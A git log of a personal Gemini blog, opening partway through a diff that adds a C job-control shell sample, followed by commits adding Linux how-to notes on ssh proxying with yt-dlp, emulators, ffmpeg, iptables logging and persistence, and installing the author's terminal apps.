+
+  for (process *p = j->first_process; p; p = p->next) {
+    pid = waitpid (p->pid, &status, WUNTRACED|WNOHANG);
+    if (pid == -1) {
+        // this process is finished
+        p->completed = 1;
+    }
+  }
+}
+
+/* Return true if all processes in the job have stopped or completed.  */
+int job_is_stopped (job *j)
+{
+  process *p;
+
+  update_process_status(j);
+
+  for (p = j->first_process; p; p = p->next)
+    if (!p->completed && !p->stopped)
+      return 0;
+  return 1;
+}
+
+/* Return true if all processes in the job have completed.  */
+int job_is_completed (job *j)
+{
+  process *p;
+
+  if (j->first_process == NULL) return 1;
+
+  update_process_status(j);
+
+  for (p = j->first_process; p; p = p->next)
+    if (!p->completed)
+      return 0;
+  return 1;
+}
+
+void free_job (job *j) {
+    process *curr;
+    process* pre;
+
+    curr = j->first_process;
+    while(curr) {
+        pre = curr;
+        curr = curr->next;
+        free(pre);
+    }
+
+    j->first_process = NULL;
+    free(j);
+}
+
+/*
+Initializing the Shell
+
+When a shell program that normally performs job control is started, it has to be careful in case it has been invoked from another shell that is already doing its own job control.
+
+A subshell that runs interactively has to ensure that it has been placed in the foreground by its parent shell before it can enable job control itself. It does this by getting its initial process group ID with the getpgrp function, and comparing it to the process group ID of the current foreground job associated with its controlling terminal (which can be retrieved using the tcgetpgrp function).
+
+If the subshell is not running as a foreground job, it must stop itself by sending a SIGTTIN signal to its own process group. It may not arbitrarily put itself into the foreground; it must wait for the user to tell the parent shell to do this. If the subshell is continued again, it should repeat the check and stop itself again if it is still not in the foreground.
+
+Once the subshell has been placed into the foreground by its parent shell, it can enable its own job control. It does this by calling setpgid to put itself into its own process group, and then calling tcsetpgrp to place this process group into the foreground.
+
+When a shell enables job control, it should set itself to ignore all the job control stop signals so that it doesn’t accidentally stop itself. You can do this by setting the action for all the stop signals to SIG_IGN.
+
+A subshell that runs non-interactively cannot and should not support job control. It must leave all processes it creates in the same process group as the shell itself; this allows the non-interactive shell and its child processes to be treated as a single job by the parent shell. This is easy to do—just don’t use any of the job control primitives—but you must remember to make the shell do it.
+
+Here is the initialization code for the sample shell that shows how to do all of this.
+*/
+
+/* Keep track of attributes of the shell.  */
+
+pid_t shell_pgid;
+struct termios shell_tmodes;
+int shell_terminal;
+int shell_is_interactive;
+
+/* Make sure the shell is running interactively as the foreground job
+   before proceeding. */
+
+void init_shell (void)
+{
+
+  /* See if we are running interactively.  */
+  shell_terminal = STDIN_FILENO;
+  shell_is_interactive = isatty (shell_terminal);
+
+  if (shell_is_interactive)
+    {
+      /* Loop until we are in the foreground.  */
+      while (tcgetpgrp (shell_terminal) != (shell_pgid = getpgrp ()))
+        kill (- shell_pgid, SIGTTIN);
+
+      /* Ignore interactive and job-control signals.  */
+      signal (SIGINT, SIG_IGN);
+      signal (SIGQUIT, SIG_IGN);
+      signal (SIGTSTP, SIG_IGN);
+      signal (SIGTTIN, SIG_IGN);
+      signal (SIGTTOU, SIG_IGN);
+      signal (SIGCHLD, SIG_IGN);
+
+      /* Put ourselves in our own process group.  */
+      shell_pgid = getpid ();
+      if (setpgid (shell_pgid, shell_pgid) < 0)
+        {
+          perror ("Couldn't put the shell in its own process group");
+          exit (1);
+        }
+
+      /* Grab control of the terminal.  */
+      tcsetpgrp (shell_terminal, shell_pgid);
+
+      /* Save default terminal attributes for shell.  */
+      tcgetattr (shell_terminal, &shell_tmodes);
+    }
+}
+
+/*
+Launching Jobs
+
+Once the shell has taken responsibility for performing job control on its controlling terminal, it can launch jobs in response to commands typed by the user.
+
+To create the processes in a process group, you use the same fork and exec functions described in Process Creation Concepts. Since there are multiple child processes involved, though, things are a little more complicated and you must be careful to do things in the right order. Otherwise, nasty race conditions can result.
+
+You have two choices for how to structure the tree of parent-child relationships among the processes. You can either make all the processes in the process group be children of the shell process, or you can make one process in group be the ancestor of all the other processes in that group. The sample shell program presented in this chapter uses the first approach because it makes bookkeeping somewhat simpler.
+
+As each process is forked, it should put itself in the new process group by calling setpgid; see Process Group Functions. The first process in the new group becomes its process group leader, and its process ID becomes the process group ID for the group.
+
+The shell should also call setpgid to put each of its child processes into the new process group. This is because there is a potential timing problem: each child process must be put in the process group before it begins executing a new program, and the shell depends on having all the child processes in the group before it continues executing. If both the child processes and the shell call setpgid, this ensures that the right things happen no matter which process gets to it first.
+
+If the job is being launched as a foreground job, the new process group also needs to be put into the foreground on the controlling terminal using tcsetpgrp. Again, this should be done by the shell as well as by each of its child processes, to avoid race conditions.
+
+The next thing each child process should do is to reset its signal actions.
+
+During initialization, the shell process set itself to ignore job control signals; see Initializing the Shell. As a result, any child processes it creates also ignore these signals by inheritance. This is definitely undesirable, so each child process should explicitly set the actions for these signals back to SIG_DFL just after it is forked.
+
+Since shells follow this convention, applications can assume that they inherit the correct handling of these signals from the parent process. But every application has a responsibility not to mess up the handling of stop signals. Applications that disable the normal interpretation of the SUSP character should provide some other mechanism for the user to stop the job. When the user invokes this mechanism, the program should send a SIGTSTP signal to the process group of the process, not just to the process itself. See Signaling Another Process.
+
+Finally, each child process should call exec in the normal way. This is also the point at which redirection of the standard input and output channels should be handled. See Duplicating Descriptors, for an explanation of how to do this.
+
+Here is the function from the sample shell program that is responsible for launching a program. The function is executed by each child process immediately after it has been forked by the shell, and never returns.
+*/
+
+void launch_process (process *p, pid_t pgid,
+                int infile, int outfile, int errfile,
+                int foreground)
+{
+  pid_t pid;
+
+  if (shell_is_interactive)
+    {
+      /* Put the process into the process group and give the process group
+         the terminal, if appropriate.
+         This has to be done both by the shell and in the individual
+         child processes because of potential race conditions.  */
+      pid = getpid ();
+      if (pgid == 0) pgid = pid;
+      setpgid (pid, pgid);
+      if (foreground)
+        tcsetpgrp (shell_terminal, pgid);
+
+      /* Set the handling for job control signals back to the default.  */
+      signal (SIGINT, SIG_DFL);
+      signal (SIGQUIT, SIG_DFL);
+      signal (SIGTSTP, SIG_DFL);
+      signal (SIGTTIN, SIG_DFL);
+      signal (SIGTTOU, SIG_DFL);
+      signal (SIGCHLD, SIG_DFL);
+    }
+
+  /* Set the standard input/output channels of the new process.  */
+  if (infile != STDIN_FILENO)
+    {
+      dup2 (infile, STDIN_FILENO);
+      close (infile);
+    }
+  if (outfile != STDOUT_FILENO)
+    {
+      dup2 (outfile, STDOUT_FILENO);
+      close (outfile);
+    }
+  if (errfile != STDERR_FILENO)
+    {
+      dup2 (errfile, STDERR_FILENO);
+      close (errfile);
+    }
+
+  /* Exec the new process.  Make sure we exit.  */
+  execvp (p->argv[0], p->argv);
+  perror ("execvp");
+  exit (1);
+}
+
+/*
+If the shell is not running interactively, this function does not do anything with process groups or signals. Remember that a shell not performing job control must keep all of its subprocesses in the same process group as the shell itself.
+
+Next, here is the function that actually launches a complete job. After creating the child processes, this function calls some other functions to put the newly created job into the foreground or background; these are discussed in Foreground and Background.
+*/
+
+void launch_job (job *j, int foreground)
+{
+  process *p;
+  pid_t pid;
+  int mypipe[2], infile, outfile;
+
+  infile = j->stdin;
+  for (p = j->first_process; p; p = p->next)
+    {
+      /* Set up pipes, if necessary.  */
+      if (p->next)
+        {
+          if (pipe (mypipe) < 0)
+            {
+              perror ("pipe");
+              exit (1);
+            }
+          outfile = mypipe[1];
+        }
+      else
+        outfile = j->stdout;
+
+      /* Fork the child processes.  */
+      pid = fork ();
+      if (pid == 0)
+        /* This is the child process.  */
+        launch_process (p, j->pgid, infile,
+                        outfile, j->stderr, foreground);
+      else if (pid < 0)
+        {
+          /* The fork failed.  */
+          perror ("fork");
+          exit (1);
+        }
+      else
+        {
+          /* This is the parent process.  */
+          p->pid = pid;
+          j->lastpid = pid;
+          if (shell_is_interactive)
+            {
+              if (!j->pgid)
+                j->pgid = pid;
+              setpgid (pid, j->pgid);
+            }
+        }
+
+      /* Clean up after pipes.  */
+      if (infile != j->stdin)
+        close (infile);
+      if (outfile != j->stdout)
+        close (outfile);
+      infile = mypipe[0];
+    }
+
+  print_job_info (j, "launched");
+
+  if (!shell_is_interactive)
+    wait_for_job (j);
+  else if (foreground)
+    put_job_in_foreground (j, 0);
+  else
+    put_job_in_background (j, 0);
+}
+
+/*
+Foreground and Background
+
+Now let’s consider what actions must be taken by the shell when it launches a job into the foreground, and how this differs from what must be done when a background job is launched.
+
+When a foreground job is launched, the shell must first give it access to the controlling terminal by calling tcsetpgrp. Then, the shell should wait for processes in that process group to terminate or stop. This is discussed in more detail in Stopped and Terminated Jobs.
+
+When all of the processes in the group have either completed or stopped, the shell should regain control of the terminal for its own process group by calling tcsetpgrp again. Since stop signals caused by I/O from a background process or a SUSP character typed by the user are sent to the process group, normally all the processes in the job stop together.
+
+The foreground job may have left the terminal in a strange state, so the shell should restore its own saved terminal modes before continuing. In case the job is merely stopped, the shell should first save the current terminal modes so that it can restore them later if the job is continued. The functions for dealing with terminal modes are tcgetattr and tcsetattr; these are described in Terminal Modes.
+
+Here is the sample shell’s function for doing all of this.
+*/
+
+/* Put job j in the foreground.  If cont is nonzero,
+   restore the saved terminal modes and send the process group a
+   SIGCONT signal to wake it up before we block.  */
+
+void put_job_in_foreground (job *j, int cont)
+{
+  /* Put the job into the foreground.  */
+  tcsetpgrp (shell_terminal, j->pgid);
+
+  /* Send the job a continue signal, if necessary.  */
+  if (cont)
+    {
+      tcsetattr (shell_terminal, TCSADRAIN, &j->tmodes);
+      if (kill (- j->pgid, SIGCONT) < 0) {
+        perror ("kill (SIGCONT)");
+      }
+    }
+
+  /* Wait for it to report.  */
+  wait_for_job (j);
+
+  /* Put the shell back in the foreground.  */
+  tcsetpgrp (shell_terminal, shell_pgid);
+
+  /* Restore the shell’s terminal modes.  */
+  tcgetattr (shell_terminal, &j->tmodes);
+  tcsetattr (shell_terminal, TCSADRAIN, &shell_tmodes);
+}
+
+/*
+If the process group is launched as a background job, the shell should remain in the foreground itself and continue to read commands from the terminal.
+
+In the sample shell, there is not much that needs to be done to put a job into the background. Here is the function it uses:
+*/
+
+/* Put a job in the background.  If the cont argument is true, send
+   the process group a SIGCONT signal to wake it up.  */
+
+void put_job_in_background (job *j, int cont)
+{
+  /* Send the job a continue signal, if necessary.  */
+  if (cont)
+    if (kill (-j->pgid, SIGCONT) < 0) {
+      perror ("kill (SIGCONT)");
+    }
+}
+
+/*
+Stopped and Terminated Jobs
+
+When a foreground process is launched, the shell must block until all of the processes in that job have either terminated or stopped. It can do this by calling the waitpid function; see Process Completion. Use the WUNTRACED option so that status is reported for processes that stop as well as processes that terminate.
+
+The shell must also check on the status of background jobs so that it can report terminated and stopped jobs to the user; this can be done by calling waitpid with the WNOHANG option. A good place to put a such a check for terminated and stopped jobs is just before prompting for a new command.
+
+The shell can also receive asynchronous notification that there is status information available for a child process by establishing a handler for SIGCHLD signals. See Signal Handling.
+
+In the sample shell program, the SIGCHLD signal is normally ignored. This is to avoid reentrancy problems involving the global data structures the shell manipulates. But at specific times when the shell is not using these data structures—such as when it is waiting for input on the terminal—it makes sense to enable a handler for SIGCHLD. The same function that is used to do the synchronous status checks (do_job_notification, in this case) can also be called from within this handler.
+
+Here are the parts of the sample shell program that deal with checking the status of jobs and reporting the information to the user.
+*/
+
+/* Store the status of the process pid that was returned by waitpid.
+   Return 0 if all went well, nonzero otherwise.  */
+
+int mark_process_status (pid_t pid, int status)
+{
+  job *j;
+  process *p;
+
+  if (pid > 0)
+    {
+      /* Update the record for the process.  */
+      for (j = first_job; j; j = j->next)
+        for (p = j->first_process; p; p = p->next)
+          if (p->pid == pid)
+            {
+              p->status = status;
+              if (WIFSTOPPED (status))
+                p->stopped = 1;
+              else
+                {
+                  p->completed = 1;
+                  if (WIFSIGNALED (status))
+                    fprintf (stderr, "%d: Terminated by signal %d.\n",
+                             (int) pid, WTERMSIG (p->status));
+                }
+              return 0;
+             }
+      fprintf (stderr, "No child process %d.\n", pid);
+      return -1;
+    }
+
+  else if (pid == 0 || errno == ECHILD)
+    /* No processes ready to report.  */
+    return -1;
+  else {
+    /* Other weird errors.  */
+    perror ("waitpid");
+    return -1;
+  }
+}
+
+void mark_job_completed (job *j)
+{
+    process *p;
+    for (p = j->first_process; p; p = p->next)
+        p->completed = 1;
+}
+
+/* Check for processes that have status information available,
+   without blocking.  */
+
+void update_status (void)
+{
+  int status;
+  pid_t pid;
+
+  do {
+    pid = waitpid (WAIT_ANY, &status, WUNTRACED|WNOHANG);
+  } while (!mark_process_status (pid, status));
+}
+
+/* Check for processes that have status information available,
+   blocking until all processes in the given job have reported.  */
+
+void wait_for_job (job *j)
+{
+  int wstatus = 0;
+  pid_t pid;
+
+  do {
+    //pid = waitpid (WAIT_ANY, &status, WUNTRACED);
+    // when a job is stopped and a command is run, waitpid hangs with WAIT_ANY
+    // wait for job j only
+    pid = waitpid (-j->pgid, &wstatus, WUNTRACED);
+    if (pid == -1) {
+        // the job is already finished or there is an error
+        // mark job as completed
+        mark_job_completed(j);
+        break;
+    }
+    // else {
+    //    if (WIFEXITED(wstatus)) printf("wexited pid %d\n", pid);
+    //    if (WIFSIGNALED(wstatus)) printf("wsignaled pid %d\n", pid);
+    //    if (WCOREDUMP(wstatus)) printf("wcoredumped pid %d\n", pid);
+    //    if (WIFSTOPPED(wstatus))
+    //        printf("wstopped pid %d\n", pid);
+    //    if (WIFCONTINUED(wstatus)) printf("wcontinued pid %d\n", pid);
+    // }
+    // sleep(1);
+  }
+  while (!mark_process_status (pid, wstatus)
+         && !job_is_stopped (j)
+         && !job_is_completed (j));
+}
+
+/* Format information about job status for the user to look at.  */
+
+void print_job_info (job *j, const char *status)
+{
+  fprintf (stderr, "%ld (%s): %s\n", (long)j->pgid, status, j->command);
+}
+
+void show_jobs(job *j) {
+    for (; j != NULL ; j = j->next) {
+        char *s = job_is_completed(j) ? "completed" : job_is_stopped(j) ? "stopped" : "unknown";
+        print_job_info(j, s);
+    }
+}
+
+/* Notify the user about stopped or terminated jobs.
+   Delete terminated jobs from the active job list.  */
+
+void do_job_notification (void)
+{
+  job *j, *jlast, *jnext;
+
+  /* Update status information for child processes.  */
+  update_status ();
+
+  jlast = NULL;
+  for (j = first_job; j; j = jnext)
+    {
+      jnext = j->next;
+
+      /* If all processes have completed, tell the user the job has
+         completed and delete it from the list of active jobs.  */
+      if (job_is_completed (j)) {
+        print_job_info (j, "completed");
+        if (jlast)
+          jlast->next = jnext;
+        else
+          first_job = jnext;
+        free_job (j);
+      }
+
+      /* Notify the user about stopped jobs,
+         marking them so that we won’t do this more than once.  */
+      else if (job_is_stopped (j) && !j->notified) {
+        print_job_info (j, "stopped");
+        j->notified = 1;
+        jlast = j;
+      }
+
+      /* Don’t say anything about jobs that are still running.  */
+      else
+        jlast = j;
+    }
+}
+
+/*
+Continuing Stopped Jobs
+
+The shell can continue a stopped job by sending a SIGCONT signal to its process group. If the job is being continued in the foreground, the shell should first invoke tcsetpgrp to give the job access to the terminal, and restore the saved terminal settings. After continuing a job in the foreground, the shell should wait for the job to stop or complete, as if the job had just been launched in the foreground.
+
+The sample shell program handles both newly created and continued jobs with the same pair of functions, put_job_in_foreground and put_job_in_background. The definitions of these functions were given in Foreground and Background. When continuing a stopped job, a nonzero value is passed as the cont argument to ensure that the SIGCONT signal is sent and the terminal modes reset, as appropriate.
+
+This leaves only a function for updating the shell’s internal bookkeeping about the job being continued:
+*/
+
+/* Mark a stopped job J as being running again.  */
+
+void mark_job_as_running (job *j)
+{
+  process *p;
+
+  for (p = j->first_process; p; p = p->next)
+    p->stopped = 0;
+  j->notified = 0;
+}
+
+/* Continue the job J.  */
+
+void continue_job (job *j, int foreground)
+{
+  mark_job_as_running (j);
+  if (foreground)
+    put_job_in_foreground (j, 1);
+  else
+    put_job_in_background (j, 1);
+}
+```
+
+=> feed.gmi Feed

commit 3adc2725ed0aedba717e12aeb125924b40aeef7b
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Mar 13 09:14:28 2024 +0200

    Update

diff --git a/2020-06-20-how-to-tunnel-firefox-through-ssh.gmi b/2020-06-20-how-to-tunnel-firefox-through-ssh.gmi
index f279826..db2250a 100644
--- a/2020-06-20-how-to-tunnel-firefox-through-ssh.gmi
+++ b/2020-06-20-how-to-tunnel-firefox-through-ssh.gmi
@@ -36,6 +36,15 @@ Done.
 
 To browse from the computer again, choose **No proxy** in **Network Settings**.
 
-hashtags: #firefox #ssh
+## Downloading videos with yt-dlp through ssh proxy
+
+Start ssh in same way as before and run in another terminal:
+
+```
+# ssh -D9090 -N user@mysshserver
+yt-dlp --proxy socks5://127.0.0.1:9090/ urlToVideo
+```
+
+hashtags: #firefox #ssh #yt-dlp
 
 => feed.gmi Feed
diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index ffeff39..4f4bdbd 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -305,6 +305,24 @@ I found a fix on
 Under Configuration > Plugins & BIOS change the Graphics dropdown from XVideo Driver to OpenGL Driver
 ```
 
+# Sony Playstation 2
+
+I use `pcsx2`. Download the latest nightly appimage from 
+=> https://pcsx2.net/ 
+=> https://pcsx2.net/
+and then download the bios files. Then I copy the bios to the default config directory:
+
+```
+~/.config/PCSX2/bios
+```
+
+Then run:
+
+```
+chmod 755 pcsx2-v1.7.5592-linux-appimage-x64-Qt.AppImage
+./pcsx2-v1.7.5592-linux-appimage-x64-Qt.AppImage
+```
+
 # MAME Arcade
 
 I installed `mame` and copied the ROMs to `~/mame/roms/`.

commit ff36523bd84e073cf245c8a787cfb4788c8dbc3f
Author: Remy Noulin <loader2x@gmail.com>
Date:   Sun Mar 3 22:11:54 2024 +0200

    Update

diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index ba50c97..ffeff39 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -284,6 +284,27 @@ Run a game with the command:
 x64 "Zaxxon.crt:run me"
 ```
 
+# Sony Playstation 1
+
+I installed pcsxr.
+
+```
+apt-get install pcsxr
+```
+
+I got an error when trying to start a game:
+
+```
+RGB & YUV not found. Quitting.
+```
+
+I found a fix on 
+=> https://blog.ryanhalliday.com/2018/02/pcsxr-errors.html Ryan Halliday's blog
+
+```
+Under Configuration > Plugins & BIOS change the Graphics dropdown from XVideo Driver to OpenGL Driver
+```
+
 # MAME Arcade
 
 I installed `mame` and copied the ROMs to `~/mame/roms/`.
@@ -342,7 +363,7 @@ acorn archimedes 310 works a bit - games don't work
 # apt command for installing the emulators in this page
 
 ```
-apt-get install fs-uae fs-uae-launcher hatari higan dosbox libsdl1.2-dev fbzx mame
+apt-get install fs-uae fs-uae-launcher hatari higan dosbox libsdl1.2-dev fbzx mame pcsxr
 ```
 
 hashtags: #emulators

commit d7a329c045ba2a77e9bdd95652cb1ff9f4399565
Author: Remy Noulin <loader2x@gmail.com>
Date:   Sun Mar 3 08:16:16 2024 +0200

    Update

diff --git a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
index be3c9bc..ba3d42a 100644
--- a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
+++ b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
@@ -285,6 +285,12 @@ With ffmpeg, it is possible to cut a long video and make shorter clip, with this
 ffmpeg -i "video.mp4" -ss 00:03:00 -c copy -to 00:03:03 clip.mp4
 ```
 
+# Merging audio file with video file
+
+```
+ffmpeg -i video_file -i audio_file -c:v copy -c:a copy out_file.mp4
+```
+
 hashtags: #ffmpeg #video #encoding
 
 => feed.gmi Feed

commit fbe608e9390e72fe610044d327650ea9479acdff
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Feb 28 16:39:21 2024 +0200

    Update

diff --git a/2023-11-22-using-iptables.gmi b/2023-11-22-using-iptables.gmi
index 6033e31..e5b9001 100644
--- a/2023-11-22-using-iptables.gmi
+++ b/2023-11-22-using-iptables.gmi
@@ -138,9 +138,27 @@ iptables -I OUTPUT -p tcp -m state --state NEW ! -d 192.168.1.0/24 -m limit --li
 
 The log messages are written to `/var/log/messages`.
 
+## How to make ipset and iptables persistent in debian
+
+```
+sudo apt-get install ipset-persistent iptables-persistent
+```
+
+When installing the ipset-persistent and iptables-persistent packages, the configuration are saved.
+
+To update the configurations run:
+
+```
+sudo dpkg-reconfigure ipset-persistent
+sudo dpkg-reconfigure iptables-persistent
+```
+
 Related article from Cheapskate's Guide: 
 => https://cheapskatesguide.org/articles/building-my-own-firewall-pt2.html Building My Own Firewall/Router, Part 2
 
+Related to persistent ipset iptables configurations: 
+=> https://dhtar.com/make-ipset-and-iptables-configurations-persistent-in-debianubuntu.html Make ipset and iptables configurations persistent in Debian/Ubuntu
+
 Hashtags: #networking
 
 => feed.gmi Feed

commit 5bba58b58bb63a2b106883bedb2e7562d7f9ddfe
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Feb 28 16:29:48 2024 +0200

    Update

diff --git a/2023-11-22-using-iptables.gmi b/2023-11-22-using-iptables.gmi
index 851286b..6033e31 100644
--- a/2023-11-22-using-iptables.gmi
+++ b/2023-11-22-using-iptables.gmi
@@ -128,6 +128,16 @@ iptables -A INPUT -m set ! --match-set nets src -j DROP
 iptables -A INPUT -m set --match-set nets src -j DROP
 ```
 
+## How to log outbound tcp connection outside a subnet
+
+I want to log outbound connections to have a list of ips my computer connects to. My local network is 192.168.1.0/24 and I don't want to log the connections inside my LAN.
+
+```
+iptables -I OUTPUT -p tcp -m state --state NEW ! -d 192.168.1.0/24 -m limit --limit 1/m --limit-burst 1 -j LOG --log-uid --log-prefix "Outbound Connection: "
+```
+
+The log messages are written to `/var/log/messages`.
+
 Related article from Cheapskate's Guide: 
 => https://cheapskatesguide.org/articles/building-my-own-firewall-pt2.html Building My Own Firewall/Router, Part 2
 

commit 22650e9135515bf2351b30042f4eafe1645b82c1
Author: Remy Noulin <loader2x@gmail.com>
Date:   Fri Feb 16 21:43:47 2024 +0200

    Update

diff --git a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
index 69df849..be3c9bc 100644
--- a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
+++ b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
@@ -282,7 +282,7 @@ The resulting file is 1GB for 1h30 of video with reasonable quality.
 With ffmpeg, it is possible to cut a long video and make shorter clip, with this command:
 
 ```
-ffmpeg "video.mp4" -ss 00:03:00 -c copy -to 00:03:03 clip.mp4
+ffmpeg -i "video.mp4" -ss 00:03:00 -c copy -to 00:03:03 clip.mp4
 ```
 
 hashtags: #ffmpeg #video #encoding

commit 765fd826004f5a93b07a77811c815068547141fb
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Feb 14 15:51:45 2024 +0200

    Update

diff --git a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
index 3942c72..69df849 100644
--- a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
+++ b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
@@ -251,6 +251,15 @@ ffmpeg -i IMG_1819.MOV -vf scale=540:960 -c:v libx264 -profile:v main -pix_fmt y
 ffmpeg -i IMG_1819.MOV -vf scale=540:960 -c:v libx264 -profile:v main -pix_fmt yuv420p -b:v 2000k -pass 2 -c:a aac -ac 2 -strict experimental -b:a 128k IMG_1819.mkv
 ```
 
+# Encoding for the web (h264)
+
+The parameters in previous section don't allow playing the video in all operating systems. With the configuration below, the video files are playable directly from the web page on Linux, MacOS and Windows and in all major browsers: firefox, safari, chrome, edge.
+
+```
+ffmpeg -i IMG_1819.MOV -vf "fps=30,scale=960x540" -c:v libx264 -profile:v main -pix_fmt yuv420p -b:v 2000k -pass 1 -an -f null /dev/null && \
+ffmpeg -i IMG_1819.MOV -vf "fps=30,scale=960x540" -c:v libx264 -profile:v main -pix_fmt yuv420p -b:v 2000k -pass 2 -c:a aac -ac 2 -strict experimental -b:a 128k IMG_1819.mp4
+```
+
 # Encoding in mpeg2 for Intel Pentium M processor 1600MHz
 
 I have a 

commit e3bc559efda13d1cbd15609f2b912ba13dd0b4f9
Author: Remy Noulin <loader2x@gmail.com>
Date:   Mon Feb 12 10:29:58 2024 +0200

    Update

diff --git a/2024-02-11-my-tuis.gmi b/2024-02-11-my-tuis.gmi
index ceb2557..478f0da 100644
--- a/2024-02-11-my-tuis.gmi
+++ b/2024-02-11-my-tuis.gmi
@@ -200,4 +200,13 @@ plasma is a TUI showing the plasma demo effect.
 sudo spm -g install plasma
 ```
 
+## sip
+
+sip is a Systematic Investment Planner. Enter the monthly investment, the period in years and the average yearly rate of return. 
+=> /blog/images/sip.png sip screenshot [IMG]
+
+```
+sudo spm -g install sip
+```
+
 => feed.gmi Feed

commit 34c4c110fd7702eb4d0ce0e1e28255aa01d94dc7
Author: Remy Noulin <loader2x@gmail.com>
Date:   Mon Feb 12 08:54:44 2024 +0200

    Update

diff --git a/2024-02-11-my-tuis.gmi b/2024-02-11-my-tuis.gmi
index b4d3ecd..ceb2557 100644
--- a/2024-02-11-my-tuis.gmi
+++ b/2024-02-11-my-tuis.gmi
@@ -17,7 +17,7 @@ My TUIs run in linux terminals and are built with:
 
 There are no dependencies besides sheepy and gcc.
 
-The terminal is configured for RGB 24 bit colors, when using terminal multiplexers (screen, tmux) you might not get 24bit colors.
+The terminal font has to support unicode 15 for the TUIs using the 2x3 pixel characters and the terminal is configured for RGB 24 bit colors, when using terminal multiplexers (screen, tmux) you might not get 24bit colors.
 
 The TUIs built on twid have these common key shortcuts:
 

commit cc4504a2b3b200ac86cbad6f708eeab212c49322
Author: Remy Noulin <loader2x@gmail.com>
Date:   Sun Feb 11 20:56:23 2024 +0200

    Update

diff --git a/2024-02-11-my-tuis.gmi b/2024-02-11-my-tuis.gmi
index be24d17..b4d3ecd 100644
--- a/2024-02-11-my-tuis.gmi
+++ b/2024-02-11-my-tuis.gmi
@@ -70,11 +70,11 @@ I reimplemented `paku paku` in C for the terminal (a font with unicode 15 is req
 sudo spm -g install pakupaku
 ```
 
-=> %baseurl/images/pakupaku.pz Precompiled executable for linux
+=> /blog/images/pakupaku.pz Precompiled executable for linux
 
-=> %baseurl/images/pakupaku.png paku paku screenshot [IMG]
+=> /blog/images/pakupaku.png paku paku screenshot [IMG]
 
-=> %baseurl/images/pakupakuLibrem5.mp4 Video of paku paku running on the librem5 phone
+=> /blog/images/pakupakuLibrem5.mp4 Video of paku paku running on the librem5 phone
 
 => https://www.asahi-net.or.jp/~cs8k-cyu/ Aba games
 
@@ -85,7 +85,7 @@ sudo spm -g install pakupaku
 ## Missile Command
 
 Missile Command is a clone of the Missile Command arcade game. I modified the code from `https://github.com/johnflakejr/MissileCommand` to run in the terminal. 
-=> %baseurl/images/missileCommand.png Missile Command screenshot [IMG]
+=> /blog/images/missileCommand.png Missile Command screenshot [IMG]
 
 ```
 sudo spm -g install missileCommand
@@ -94,7 +94,7 @@ sudo spm -g install missileCommand
 ## tcalc - terminal calculator
 
 Basic tui calculator like the gui calculators. It has decimal, hexadecimal and binary numbers. 
-=> %baseurl/images/tcalc.png tcalc screenshot [IMG]
+=> /blog/images/tcalc.png tcalc screenshot [IMG]
 
 ```
 sudo spm -g install tcalc
@@ -103,7 +103,7 @@ sudo spm -g install tcalc
 ## manviewer
 
 manviewer shows the man pages in a searchable tree (like a file explorer) for easy navigation. 
-=> %baseurl/images/manviewer.png manviewer screenshot [IMG]
+=> /blog/images/manviewer.png manviewer screenshot [IMG]
 
 ```
 sudo spm -g install manviewer
@@ -112,7 +112,7 @@ sudo spm -g install manviewer
 ## calendar
 
 Calendar shows a month and highlights today's day. Use arrows to change month and year. Calendar supports small screens (5-6 inches). 
-=> %baseurl/images/calendar.png calendar screenshot [IMG]
+=> /blog/images/calendar.png calendar screenshot [IMG]
 
 ```
 sudo spm -g install calendar
@@ -121,7 +121,7 @@ sudo spm -g install calendar
 ## radio
 
 radio is an encrypted chat system using UDP to transport the messages. There is only one broadcast channel. 
-=> %baseurl/images/radio.png radio screenshot [IMG]
+=> /blog/images/radio.png radio screenshot [IMG]
 
 => gemini://gmi.noulin.net/radio.gz Precompiled executable for linux
 
@@ -130,7 +130,7 @@ radio is an encrypted chat system using UDP to transport the messages. There is
 ## patate
 
 patate is an ascii art editor. It supports unicode, RGB colors, animations... 
-=> %baseurl/images/colorpicker.png patate screenshot [IMG]
+=> /blog/images/colorpicker.png patate screenshot [IMG]
 
 => gemini://gmi.noulin.net/patate/ patate homepage
 
@@ -141,9 +141,9 @@ sudo spm -g install patate
 ## bato
 
 bato is spartan tui browser for terminals. It can parse gemtext and markdown and browse files on local disk. 
-=> %baseurl/images/bato.png bato screenshot [IMG]
+=> /blog/images/bato.png bato screenshot [IMG]
 
-=> %baseurl/images/batoMarkdown.png bato displaying a markdown file [IMG]
+=> /blog/images/batoMarkdown.png bato displaying a markdown file [IMG]
 
 => gemini://gmi.noulin.net/bato.gz bato.gz (gziped elf executable)
 
@@ -154,7 +154,7 @@ sudo spm -g install bato
 ## heure
 
 heure is a clock similar to tty-clock. 
-=> %baseurl/images/heure.png heure screenshot [IMG]
+=> /blog/images/heure.png heure screenshot [IMG]
 
 ```
 sudo spm -g install heure
@@ -163,7 +163,7 @@ sudo spm -g install heure
 ## mandelbrot
 
 mandelbrot is a mandelbrot fractal set explorer. 
-=> %baseurl/images/mandelbrot.png mandelbrot screenshot [IMG]
+=> /blog/images/mandelbrot.png mandelbrot screenshot [IMG]
 
 => gemini://gmi.noulin.net/mandelbrot.gmi mandelbrot homepage
 
